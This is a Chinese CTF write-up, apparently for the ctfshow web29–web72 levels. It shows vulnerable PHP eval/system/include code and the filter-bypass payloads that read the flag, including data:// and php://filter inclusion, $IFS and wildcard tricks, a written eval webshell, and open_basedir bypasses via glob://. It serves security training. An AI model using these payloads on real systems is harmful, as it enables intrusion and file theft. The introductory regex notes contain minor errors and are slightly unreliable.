前置 我要成为bypass高手!
正则
正则表达式使用界定符包围正则字符串作为正则表达式的代码 常见界定符”/“,”#”,”~”或者括号对 () [] {} 代码解释:与php的的开始结束标签相同
/foo bar/
; “/“界定符#^[^0-9]$#
; “#”界定符+test+
; “+”界定符%[a-zA-Z0-9_-]%
; “%”界定符 正则字符串中出现界定符时,需要使用反斜线”/“转义处理,
/http:\/\//
;”/“作为界定符,匹配http://时,”/“需要转义#http://#
;”#”作为界定符,匹配http://时,”/“不需要转义 可以在结束分隔符后面增加模式修饰符
匹配常量字符串hello"/hello/"
匹配忽略大小写常量字符串 hello"/hello/i"
2-2-1简单变量字符: 使用 带有转义的单个特殊字符表示
\d ;匹配一个数字字符 等价于[0-9] \D ;匹配一个非数字字符 等价于[^0-9] \s ;匹配一个任意空白字符 等价于[\n\r\t\v\f] \S ;匹配一个任意非空白字符 等价于[^\n\r\t\v\f] \w ;匹配一个字母/数字/下划线/汉字字符 等价于[A-Za-z0-9_] \W ;匹配一个任意非单词字符 等价于[^A-Za-z0-9_] . ;匹配一个 除换行\n外的任意字符 等价于[^\n] \n ;匹配一个换行符 等价于\x0a和\cL \r ;匹配一个回车符 等价于\x0d和\cM \t ;匹配一个水平制表符 等价于\x09和\cI \v ;匹配一个垂直制表符 等价于\x0b和\cK \f ;匹配一个换页符 等价于\x0c和\cL 另外,如果要查找字符 *、.、/等,则需要在前面用 \ 符号,表示这不是元字符,而只是普通字符而已。 * 匹配 * 字符。 . 匹配 . 字符。 / 匹配 / 字符。 \ 匹配 \ 字符。 [ 匹配 [ 字符。
$ 匹配行尾 ^ 匹配行首 < 匹配单词词首 > 匹配单词词尾
“/\d/“ 匹配数字字符 “/\s/“ 空白字符 “/\w/“ 单词字符
[xyz] ;匹配xyz其中一个字符 [a-z] ;匹配a到z其中一个字符 [A-Z] ;匹配A到Z其中一个字符 [0-9] ;匹配0到9其中一个字符 [^xyz] ;匹配除xyz以外的一个字符 [^a-z] ;匹配除a到z外的一个字符 [:punct:] ;匹配任意标点符号(#&+ web中这3个好像不行)
1 匹配位置内容判断 ^x(exp) ;判断字符串第一个字符是否为x if (str.first_letter == x) {匹配} (exp)x$ ;判断字符串最后一个字符是否为x if (str.last_letter == x) {匹配} \bx(exp) ;判断单词第一个字符是否是x if (word.first_letter == x){匹配} (exp)y\b ;判断单词最后一个字符是否是x if (word.last_letter == x){匹配} (?<=exp)x ;匹配前面是exp的x (if x.prev == exp){匹配x} (?<!exp)x ;匹配前面不是exp的x (if x.prev != exp){匹配x} x(?=exp) ;匹配后面是exp的x (if x.next == exp){匹配x} x(?!exp) ;匹配后面不是exp的x (if x.next != exp){匹配x}
或判断 (?<=bullock|donkey)x 匹配前面是bullock或者donkey的x 且判断 (?<=\d{3})(?<!999)foo 匹配前面是3个数字而且不是999的foo 嵌套判断 (?<=(?<!foo)bar)baz 嵌套判断匹配前面有 ”bar” 但是 ”bar” 前面没有 ”foo” 的 ”baz”。 嵌套判断 (?<=\d{3}…(?<!999))foo 匹配前面有三个数字字符紧跟 3 个不是 999 的任意字符的 ”foo”。
贪婪匹配:尽可能多匹配 x* ;匹配零或多次个x字符 for(i=0;i>=0;i++){匹配xi} x+ ;匹配一次或多次个x字符 for(i=0;i>0;i++){匹配x i} x? ;匹配零次或一次个x字符 for(i=0;0<=i<=1;i++){匹配xi} x{n} ;匹配n次个x字符 for(i=0;i==n;i++){匹配x*i} x{n,} ;匹配n次或更多次个x字符 for(i=0;i>=n;i++){匹配x i} x{n,m} ;匹配n到m次个x字符 for(i=0;n<=x<=m;i++){匹配x*i}
x*? ;匹配零或多次个x字符 for(i=0;i>=0;i++){匹配xi} x+? ;匹配一次或多次个x字符 for(i=0;i>0;i++){匹配x i} x?? ;匹配零次或一次个x字符 for(i=0;0<=i<=1;i++){匹配xi} x{n}? ;匹配n次个x字符 for(i=0;i==n;i++){匹配x*i} x{n,}? ;匹配n次或更多次个x字符 for(i=0;i>=n;i++){匹配x i} x{n,m}? ;匹配n到m次个x字符 for(i=0;n<=x<=m;i++){匹配x*i}
(exp) ;匹配exp变量,并存储到结果分组中 (\d) ;匹配数字分组,并进行存储 ((2[0-4]\d|25[0-5]|[01]?\d\d?).){3}(2[0-4]\d|25[0-5]|[01]?\d\d?) ;匹配多个分组,并进行存储
(?exp) ;匹配exp变量,并存储到名称为name的结果分组中
(?>exp) ;尽可能长匹配exp变量,不对其内部进行匹配
(?(conditon)yes-pattern|no-pattern) condition为数字,该数字代表的(之前的)子组得到匹配,使用yes_pattern,否则使用no-pattern condition为断言,断言成功使用yes-pattern,断言失败使用no-pattern
\i ;忽略大小写 \m ;多行模式 \s ;单行模式
命令执行函数 1 2 3 4 5 6 7 system ()passthru ()exec () shell_exec () popen () proc_open ()pcntl_exec ()
看目录 1 2 3 4 5 6 7 8 9 10 var_dump(scandir('/' )); print_r(scandir('/' )); print_r(glob("*" )); // 读取当前目录 print_r(scandir(pos(localeconv()))); // 读取当前目录 // print_r(scandir('.' )); getcwd() == pwd // 读取当前目录 echo(implode(' ' ,scandir('/' ))); //im plode把数组元素组合为字符串 print(implode(' ' ,scandir('/' ))); //im plode把数组元素组合为字符串 var_export(scandir('/' )); // var_export 类似 var_dump
读取flag 1 2 3 4 5 6 7 8 9 10 11 12 13 more: 一页一页的显示档案内容less: 与 more 类似head: 查看头几行tac: 从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail: 查看尾几行 nl:显示的时候,顺便输出行号od: 以二进制的方式读取档案内容vi: 一种编辑器,这个也可以查看vim: 一种编辑器,这个也可以查看sort: 可以查看uniq: 可以查看 file -f:报错出具体内容 sh /flag 2 >%261
od:
od 命令用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,通常用于显示或查看文件中不能直接显示在终端的字符。
od 命令系统默认的显示方式是八进制
常用 -tc -a
读文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 readgzfile("/flag.txt" ); // (PHP 4 , PHP 5 , PHP 7 , PHP 8 ) require('/flag.txt' ); include('/flag.txt' ); readfile('/flag.txt' ); highlight_file('flag.php' ); show_source('flag.php' ); include($_GET [1 ]);&1 =php:// filter/read=convert.base64-encode/ resource=flag.php include$_GET [1 ]?>&1 =php:// filter/convert.base64-encode/ resource=flag.php show_source(next (array_reverse(scandir(pos(localeconv()))))); echo highlight_file(next (array_reverse(scandir(pos(localeconv()))))); ?c=/bin/ ?at${IFS} f??????? // 通配符匹配 /bin/ cat ?c=uniq${IFS} f???.php //u niq 可检查文本文件中重复出现的行列,删除重复行并输出 ?c= mv${IFS} fla?.php${IFS} a.txt // ?c=uniq${IFS} a.txt show_source(next (array_reverse(scandir(getcwd())))); //g etcwd()==pwd eval(next (reset(get_defined_vars())));&cmd=;system("tac flag.php" ); eval(array_pop(next (get_defined_vars()))); ?c=/???/ ????64 ????.??? // 匹配 ?c=/bin/ base64 flag.php getallheaders() // 返回http header数组 然后在相应字段注入马 apache_response_headers() 类似
写在题前
web55-web56有临时文件包含,条件竞争
web 57 $(())
构造数字
web72 glob
协议绕open_basedir
uaf读文件
web75 PDO
连数据库
web77 php 7.4 FFI
web29 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* */ error_reporting(0 );if (isset($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag/i" , $c)){ eval ($c); } }else { highlight_file(__FILE__); }
过滤了flag,大小写不敏感,不能大小写绕过 payload:?c=system('tac f*');
通配符,cat、nl,vi,more,less,od:?c=passthru('od -a f*');
,?c=system("nl f''lag.php");
单引号绕过,cat、tac,vi,都行?c=echo
nl fl’’ag.php;
单引号绕过,反引号命令执行,cat、tac都行 套马:?c=eval($_GET[1]);&1=system("cat flag.php");
include+伪协议:?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
写马:file_put_contents("a.php",%20%27<?php%20eval($_POST["a"]);%20?>%27);
直接访问post或者连webshell 主要是绕过flag,其实还有很多读到flag.php的方法,不过前提都是绕过flag 改flag.php文件名: 用cp,mv,renameweb30 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php /* */ error_reporting(0 );if (isset($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php/i" , $c)){ eval ($c); } }else { highlight_file(__FILE__); }
ban了system和php,不能套php一句话,但可以套eval用其他参数传值绕过正则?c=eval($_GET[1]);&1=system("tac f*");
passthru绕过system:passthru
:?c=passthru('cat f*');
反引号代替system:?c=echo
cat f*;
web31 1 2 3 4 5 6 7 8 9 10 error_reporting(0 );if (isset($_GET['c' ])){ $c = $_GET['c' ]; if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c)){ eval ($c); } }else { highlight_file(__FILE__); }
过滤了flag、system、php、cat、sort、shell关键字还有.
和空格 套eval通杀?c=eval($_GET[1]);&1=system('cat f*');
passthru:?c=passthru("tac\$IFS\$6f*");
$IFS$6
、${IFS}
、%09
绕空格,$需要转义 反引号也行:print_r(
nl%09f*);
高级操作: 1.文件包含加伪协议:?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
2:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv
可以返回包括小数点在内的一个数组;pos
去取出数组中当前第一个元素,也就是小数点。 scandir
可以结合它扫描当前目录内容。 ?c=print_r(scandir(pos(localeconv())));
可以看到当前目录下有flag.php
通过array_reverse
把数组逆序,通过next
取到第二个数组元素,也即flag.php 然后show_source
直接高亮flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php print_r (localeconv ());?>
1 2 3 4 <?php print_r (pos (localeconv ()));?>
1 2 3 4 <?php print_r (scandir (pos (localeconv ()))); ?>
web32 1 2 3 4 5 6 7 8 9 10 11 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
多过滤了单引号、反引号、 echo ,; 和(?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?>
闭合前面的语句,代替;
include可以不用括号
web33 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤了单引号,反引号,;和(?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web34 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web35 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤了<
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web36 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤了数字?c=include$_GET[x]?>&x=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web37 1 2 3 4 5 6 7 8 9 10 11 12 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
过滤了flag,想到base64?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
**?c=data://text/plain,<?php system('tac f*');?>**
web38 1 2 3 4 5 6 7 8 9 10 11 12 13 14 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
过滤php用短标签?c=data://text/plain,<?= system('tac f*');?>
web39 1 2 3 4 5 6 7 8 9 10 error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/plain,<?= system('tac f*');?>
语句已经闭合,.php无影响
web40 1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
注意到过滤的是中文的括号?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(getcwd()))));
1 2 3 4 <?php var_dump (system ('pwd' )==getcwd ());?>
getcwd()
获取当前目录
?c=eval(next(reset(get_defined_vars())));&cmd=;system("tac flag.php");
get_defined_vars() 返回一个包含所有已定义变量的多维数组 ,该数组包含get和postreset
指针重置到数组中的第一个元素next()
函数将内部指针指向数组中的下一个元素,并输出。
?c=eval(array_pop(next(get_defined_vars())));
post array_pop()
函数删除数组中的最后一个元素并返回其值。
web41 1 2 3 4 5 6 7 8 9 10 if (isset ($_POST ['c' ])){ $c = $_POST ['c' ];if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); }?>
https://blog.csdn.net/miuzzx/article/details/108569080
web42 1 2 3 4 5 6 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
>/dev/null 2>&1
这条命令的意思是将标准输出和错误输出全部重定向到/dev/null中,也就是将产生的所有信息丢弃?c=tac flag.php;
用分号将命令截断?c=cat flag.php%0A
换行符
web43 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了分号和cat?c=tac flag.php%0A
?c=nl flag.php%0A
?c=less flag.php||
逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行
web44 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
?c=tac fl?g.php%0A
?c=tac f*.php%0A
通配符即可
web45 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤空格$IFS$6
${IFS}``%09``$IFS``<
?c=tac$IFS$6f*.php%0A
echo$IFS
tac$IFS*%0A
web46 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤空格$IFS$6
${IFS}``%09``$IFS``<
nl<fla''g.php||
tac<fla''g.php||
web47 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
''``\
绕过flagtac<fla''g.php||
nl<fla''g.php||
web48 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
?c=nl<fla''g.php||
?c=nl<fla\g.php||
web49 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
?c=nl<fla''g.php||
?c=nl<fla\g.php||
web50 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
?c=nl<fla''g.php||
?c=nl<fla\g.php||
web51 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
?c=nl<fla''g.php||
?c=nl<fla\g.php||
web52 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
?c=nl$IFS/fla''g||
?c=nl$IFS/fla/g||
?c=nl${IFS}/fla''g||
web53 1 2 3 4 5 6 7 8 9 10 11 12 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); }
?c=nl${IFS}fl\ag.php
?c=nl${IFS}fl''ag.php
?c=c''at${IFS}fla''g.p''hp
web54 1 2 3 4 5 6 7 8 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
通配符匹配/bin/cat
?c=/bin/?at${IFS}f???????
uniq
可检查文本文件中重复出现的行列,删除重复行并输出?c=uniq${IFS}f???.php
?c= mv${IFS}fla?.php${IFS}a.txt
–> ?c=uniq${IFS}a.txt
web55 1 2 3 4 5 6 7 8 9 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
过滤了字母 匹配?c=/bin/base64 flag.php
?c=/???/????64 ????.???
看p神文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html 构造html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data" > <!--链接是当前打开的题目链接--> <label for ="file" >文件名:</label> <input type="file" name="file" id="file" ><br> <input type="submit" name="submit" value="提交" > </form> </body> </html>
无需文件直接点提交抓包 抓靶机的包然后改把上面的data粘贴过去?c=.+/???/????????[@-[]
#!bin/sh
web56 1 2 3 4 5 6 7 8 9 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
没过滤点,临时文件包含,条件竞争 同web55
web57 1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
过滤了点 用$(())
和取反 构造数字$(())
用作运算 当内部为空时$(())==0
对0取反得到-1$((~$(())))
拼接可以得到-1-1=-2 $(($((~$(())))$((~$(())))))
以此内推
1 2 3 4 5 6 7 8 num=36 fuyi='$((~$(())))' if (num>=0 ): num=abs (~(num)) print ('$((~$((' +fuyi*num+'))))' )else : num=abs (num) print ('$((' +fuyi*num+'))' )
payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
${_}
显示上一个命令 当没有上一个命令时返回空 则$(())==$((${_}))
亦可根据此构造payload
web58-web65 1 2 3 4 5 6 7 if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
过滤了一些命令执行的函数print_r(glob("*"));
读取当前目录c=eval($_POST[1]);&1=system('ls');
套eval无法绕过
1 2 3 c=show_source('flag .php ') ; c=highlight_file('flag .php ') ; 两函数等价
include+伪协议c=include($_POST['a']);&a=php://filter/convert.base64-encode/resource=flag.php
c=show_source('flag.php');
c=highlight_file('flag.php');
web66 include、show_source被过滤c=highlight_file('flag.php');
–》》》$flag=”秀秀得了,这次不在这里”;c=print_r(scandir('/'));
或者 var_dump(scandir('/'));
回显
1 Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )
c=highlight_file('/flag.txt');
web67 ban了print_r
var_dump(scandir('/'));
c=highlight_file('/flag.txt');
web68 1 Warning : highlight_file() has been disabled for security reasons in /var/www/html/index .php on line 19
进来直接ban了highlight_file()
分析一下,源码应该跟上题一样c=var_dump(scandir('/'));
读到flag.txtshow_source
ban了include
这次没banc=include('/flag.txt');
或者c=require('/flag.txt');
include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:
require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。
还有c=readgzfile("/flag.txt");
web69 ban了var_dump
print_r
print
和echo
无法打印数组c=echo(implode(' ',scandir('/')));
//implode
把数组元素组合为字符串c=var_export(scandir('/'));
//var_export
类似 var_dump
c=include('/flag.txt');
c=require('/flag.txt');
c=readgzfile("/flag.txt");
web70 1 2 3 4 5 6 7 Warning : error_reporting() has been disabled for security reasons in /var/www/html/index .php on line 14 Warning : ini_set() has been disabled for security reasons in /var/www/html/index .php on line 15 Warning : highlight_file() has been disabled for security reasons in /var/www/html/index .php on line 21 你要上天吗?
c=var_export(scandir('/'));
c=echo(implode(' ',scandir('/')));
c=include('/flag.txt');
c=require('/flag.txt');
c=readgzfile("/flag.txt");
web71 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); }?> 你要上天吗?
ob_get_contents
— 返回输出缓冲区的内容ob_end_clean
— 清空(擦除)缓冲区并关闭输出缓冲 截取了读flag的回显 数字和字母会被preg_replace
替换为问号 一种解法是后接exit() 或者 die()
结束程序,后面读取缓冲区失效c=var_export(scandir('/'));;exit();
c=include('/flag.txt');exit();``require
readgzfile
都可以 另一种是直接输出缓冲区ob_flush
— 冲刷出(送出)输出缓冲区中的内容ob_end_flush
— 冲刷出(送出)输出缓冲区内容并关闭缓冲区c=var_export(scandir('/'));ob_flush ();
c=var_export(scandir('/'));ob_end_flush ();
web72 源码同上题c=var_export(scandir('/'));;exit();
1 scandir (): open_basedir restriction in effect. File (/) is not within the allowed path (s): (/var /www/html/) in /var /www/html/index.php (19 ) : eval ()'d code on line 1
读不到根目录c=var_export(glob("*"));;exit();
查看当前目录 看到flag.php在当前目录c=readgzfile('flag.php');exit();
回显 $flag="秀秀得了,这次不在这里";
被骗了open_basedir
是php.ini
中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域 题目限制了open_basedir
在当前目录,要查看根目录文件需要绕过open_basedir
glob
伪协议在筛选目录时不受open_basedir
制约
利用 scandir()+glob:// c=var_export(scandir('glob:///*'));exit();
DirectoryIterator类 + glob://协议 1 2 3 4 5 6 7 c=?> <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ) {echo ($f ->__toString ().' ' ); } exit (0 );?>
FilesystemIterator类 + glob://协议 FilesystemIterator继承自DirectoryIterator,在显示上与父类略微有区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 c=?> <?php print_r (ini_get ('open_basedir' ).'<br>' );$dir_array = array ();$dir = new FilesystemIterator ('glob:///*' );foreach ($dir as $d ){ $dir_array [] = $d ->__toString (); }$dir = new FilesystemIterator ('glob:///.*' );foreach ($dir as $d ){ $dir_array [] = $d ->__toString (); }sort ($dir_array );foreach ($dir_array as $d ){ echo $d .' ' ; }show_source (__FILE__ );exit ();?>
利用 opendir()+readdir()+glob:// opendir
作用为打开目录句柄readdir
作用为从目录句柄中读取目录 通过glob协议 glob:///*
循环读取并输出根目录的文件名
1 2 3 4 5 6 7 8 9 10 c=?> <?php $a = $_GET ['cmd' ];if ( $b = opendir ($a ) ) { while ( ($file = readdir ($b )) !== false ) { echo $file ."<br>" ; } closedir ($b ); }exit ();?>
get:?cmd=glob:///*
利用symlink() 软链接 失败 symlink()被ban了
读文件 open_basedir
对命令执行函数没有限制,但这里 disable_function
把system
等都ban了 UAF即为Use After Free。也就是使用了已经被释放的内存,最终导致内存崩溃或任意代码被执行的漏洞。UAF漏洞常见于浏览器中,如IE、Chrome、Firefox等 看不懂…….uaf 官方uaf脚本
